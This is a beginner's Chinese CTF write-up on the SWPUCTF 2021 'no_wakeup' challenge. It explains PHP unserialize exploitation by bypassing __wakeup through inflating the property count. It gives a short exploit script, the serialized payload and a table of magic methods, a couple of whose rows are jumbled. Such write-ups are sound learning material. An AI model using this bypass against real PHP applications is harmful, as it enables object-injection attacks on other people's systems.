Problem: [SWPUCTF 2021 新生赛]no_wakeup
[[toc]]
思路
- 解题大致思路
- 打开链接,代码审计发现题目要求get传入p,并且对其反序列化
- 根据题目编写代码,用php在线运行输出
- 对象属性个数的值大于真实个数的值的时候会跳过wakeup函数
- 修改变量值,用get方式上传
EXP
- 具体攻击代码
<?php class HaHaHa{ public $admin; public $passwd; public function __construct(){ $this->admin ="admin"; $this->passwd = "wllm"; } } $p = new HaHaHa; echo serialize($p); ?>
知识点
-
__construct() 构造函数
具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作 -
__destruct() 析构函数
会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
和构造函数一样,父类的析构函数不会被引擎暗中调用。要执行父类的析构函数,必须在子类的析构函数体中显式调用 parent::__destruct()。此外也和构造函数一样,子类如果自己没有定义析构函数则会继承父类的
-
__wakeup()函数
当成员属性数目大于实际数目时可绕过wakeup方法 -
serialize 将对象格式化成有序的字符串
-
unserialize 将字符串还原成原来的对象
-
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
-
输出
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
O:对象
6:对象名字长度为6个字符
HaHaHa:对象名
2:2个变量
s:数据类型(string)
5:变量名字符串长度
admin:变量名
[后面同理]
| 魔术方法 | 作用 |
|---|---|
| __wakeup() | 执行unserialize()时,先会调用这个函数 |
| __sleep() | 执行serialize()时,先会调用这个函数 |
| __destruct() | 对象被销毁时触发 |
| __call() | 在对象上下文中调用不可访问的方法时触发 |
| __callstatic() | 在静态上下文中调用不可访问的方法时触发 |
| __get() | 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 |
| __set() | 用于将数据写入不可访问的属性 |
| __isset() | 在不可访问的属性上调用isset()或empty()触发unset()//在不可访问的属性上使用 |
| __unset()时触发tostring() | 把类当作字符串使用时触发 |
| __invoke() | 当尝试将对象调用为函数时触发 |
总结
- 挺好的题(对于新手我 来说)
